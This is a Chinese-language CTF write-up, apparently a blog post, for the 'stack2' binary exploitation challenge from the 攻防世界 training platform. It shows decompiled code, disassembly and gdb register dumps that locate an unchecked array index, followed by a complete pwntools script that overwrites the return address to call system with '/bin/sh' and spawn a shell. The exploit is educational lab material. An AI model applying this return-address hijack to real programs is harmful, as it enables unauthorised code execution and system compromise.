『攻防世界』:进阶区 | stack2

checksec:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA静态分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v5; // [esp-90h] [ebp-90h]
  unsigned int v6; // [esp-8Ch] [ebp-8Ch]
  int v7; // [esp-88h] [ebp-88h]
  unsigned int j; // [esp-84h] [ebp-84h]
  signed int v9; // [esp-80h] [ebp-80h]
  signed int i; // [esp-7Ch] [ebp-7Ch]
  unsigned int k; // [esp-78h] [ebp-78h]
  unsigned int l; // [esp-74h] [ebp-74h]
  int v13; // [esp-70h] [ebp-70h]
  unsigned int v14; // [esp-Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    *((_BYTE *)&v13 + i) = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            *((_BYTE *)&v13 + v3) = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, *((char *)&v13 + k));
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      *((_BYTE *)&v13 + v5) = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += *((char *)&v13 + l);
  }
  return 0;
}
main

这道题漏洞让我好找,找了好久也不知道漏洞在哪,去网上找(chao)了一些思路,本题的栈溢出并不是常规的read这种输入输出流,而是因为对v5没有任何检测,数组没有边界检查导致的,这样的栈溢出比较隐蔽。在第三个选项,change number里v13定义为char v13[100],但是在这里并没有边界的检查导致栈溢出。题目中已近有现成的后门函数(0x0804859B)。

.text:080486BD                 call    ___isoc99_scanf
.text:080486C2                 add     esp, 10h
.text:080486C5                 mov     eax, [ebp-88h]
.text:080486CB                 mov     ecx, eax
.text:080486CD                 lea     edx, [ebp-70h]
.text:080486D0                 mov     eax, [ebp-7Ch]
.text:080486D3                 add     eax, edx
.text:080486D5                 mov     [eax], cl

从汇编中可以看到程序通过scanf将数据存储到栈中,然后通过eax和ecx将数据存储到eax中存放的地址中去(cl是ecx的低位)那意味着在程序运行到0x080486D5的位置时,此时eax中存放的即时数组的首地址linux下我们用gdb调试的看一下

int hackhere()
{
  return system("/bin/bash");
}
hackhere

原理很清楚,只要选changenumber就可以修改任意地址的数据,我们只要找到v13数据距离ret的距离,就可以获取shell。

经过下面的调试,可以发现ebp=v13+0x70,ret=v13+0x84。由于程序中虽然有函数hackhere可以让我们获取到system的plt,但是他的参数不是/bin/sh,所以需要自己填返回地址和参数。

首先要知道v13数组的一个参数存放的位置:

.text:08048698                 push    offset asc_8048A9A ; "Give me your numbers"
.text:0804869D                 call    _puts
.text:080486A2                 add     esp, 10h
.text:080486A5                 mov     dword ptr [ebp-7Ch], 0
.text:080486AC                 jmp     short loc_80486DB
.text:080486AE ; ---------------------------------------------------------------------------
.text:080486AE
.text:080486AE loc_80486AE:                            ; CODE XREF: main+11C↓j
.text:080486AE                 sub     esp, 8
.text:080486B1                 lea     eax, [ebp-88h]
.text:080486B7                 push    eax
.text:080486B8                 push    offset asc_8048A97 ; "%d"
.text:080486BD                 call    ___isoc99_scanf
.text:080486C2                 add     esp, 10h
.text:080486C5                 mov     eax, [ebp-88h]
.text:080486CB                 mov     ecx, eax
.text:080486CD                 lea     edx, [ebp-70h]
.text:080486D0                 mov     eax, [ebp-7Ch]
.text:080486D3                 add     eax, edx
.text:080486D5                 mov     [eax], cl
.text:080486D7                 add     dword ptr [ebp-7Ch], 1
first input

其中var-88是我们第一个输入的数字,并且他被存放到eax中,使用gdb动态调试,在0x080486d5出下断点,查看eax中存放的地址,可以看到是0xffffc1e8.

──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 EAX  0xffffc1e8 ◂— 0xca0000
 EBX  0x0
 ECX  0x1
 EDX  0xffffc1e8 ◂— 0xca0000
 EDI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0x1
 EBP  0xffffc258 ◂— 0x0
 ESP  0xffffc1b0 —▸ 0xf7ffda7c —▸ 0xf7fd2b18 —▸ 0xf7ffd920 ◂— 0x0
 EIP  0x80486d5 (main+261) ◂— 0x45830888

接下来我们查看当程序运行结束后esp指向的地址即为返回地址:

.text:080488EE                 leave
.text:080488EF                 lea     esp, [ecx-4]
.text:080488F2                 retn
.text:080488F2 ; } // starts at 80485D0
.text:080488F2 main            endp
ret

在0x080488f2出下断点,查看寄存器esp中的值:

──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 EAX  0x0
 EBX  0x0
 ECX  0xffffc270 ◂— 0x1
 EDX  0xf7fb087c (_IO_stdfile_0_lock) ◂— 0x0
 EDI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0x1
 EBP  0x0
 ESP  0xffffc26c —▸ 0xf7e14286 (__libc_start_main+246) ◂— add    esp, 0x10
 EIP  0x80488f2 (main+802) ◂— 0x669066c3

可以看到esp中的地址为0xffffc26c, 所以得到距离为:0xffffc26c-0xffffc1e8 = 0x84

现在能控制返回地址(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987),只要主程序返回即可进入我们挟持的程序执行流。

exp:

from pwn import *

def send_num(addr,num):
     sh.sendlineafter("5. exit","3")
     sh.sendlineafter("which number to change:",str(addr))
     sh.sendlineafter("new number:",str(num))
sh=process("./stack2")
sh.sendlineafter("you have:","1")
sh.sendlineafter("your numbers","1")

send_num(0x84,0x50)
send_num(0x85,0x84)
send_num(0x86,0x04)
send_num(0x87,0x08)
#注意这里需要空出0x4来,所以从0x8c开始
send_num(0x8c,0x87)
send_num(0x8d,0x89)
send_num(0x8e,0x04)
send_num(0x8f,0x08)

sh.sendline("5")//让主函数返回
sh.interactive()
exp

注:程序是小端序,所以参数和返回地址内容是反着的的,不知道为啥博客园插入折叠的代码在编辑模式不能展开,如果有哪位湿父知道麻烦和我说下。

 

posted @ 2020-08-11 13:01  Little_Fdog  阅读(575)  评论(2编辑  收藏  举报
TOP 底部